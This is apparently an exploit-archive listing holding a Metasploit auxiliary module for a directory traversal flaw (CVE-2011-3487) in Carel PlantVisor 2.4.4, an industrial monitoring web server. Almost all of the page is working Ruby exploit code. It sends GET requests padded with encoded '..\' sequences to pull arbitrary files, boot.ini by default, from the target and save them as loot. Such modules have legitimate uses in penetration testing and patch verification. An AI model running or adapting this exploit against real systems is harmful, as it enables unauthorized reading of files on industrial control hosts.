Carel PlantVisor 2.4.4 Directory Traversal

Carel PlantVisor version 2.4.4 suffers from a directory traversal vulnerability.


MD5 | 53c47349d004a5da5be6c028fec32469

require 'msf/core'

class MetasploitModule < Msf::Auxiliary
Rank = GreatRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Carel Pl@ntVisor Directory Traversal',
'Description' => %q{
This module exploits a directory traversal vulnerability
found in Carel Pl@ntVisor <= 2.4.4. The vulnerability is
triggered by sending a specially crafted GET request to the
victim server.
},
'Author' => [ 'james fitts' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2011-3487' ],
[ 'BID', '49601' ],
],
'DisclosureDate' => 'Jun 29 2012'))

register_options(
[
OptInt.new('DEPTH', [ false, 'Levels to reach base directory', 10]),
OptString.new('FILE', [ false, 'This is the file to download', 'boot.ini']),
Opt::RPORT(80)
], self.class )
end

def run

depth = (datastore['DEPTH'].nil? or datastore['DEPTH'] == 0) ? 10 : datastore['DEPTH']
levels = "/" + ("..%5c" * depth)

res = send_request_raw({
'method' => 'GET',
'uri' => "#{levels}#{datastore['FILE']}",
})

if res and res.code == 200
loot = res.body
if not loot or loot.empty?
print_status("File from #{rhost}:#{rport} is empty...")
return
end
file = ::File.basename(datastore['FILE'])
path = store_loot('plantvisor.file', 'application/octet-stream', rhost, loot, file, datastore['FILE'])
print_status("Stored #{datastore['FILE']} to #{path}")
return
end

end
end



Related Posts

Comments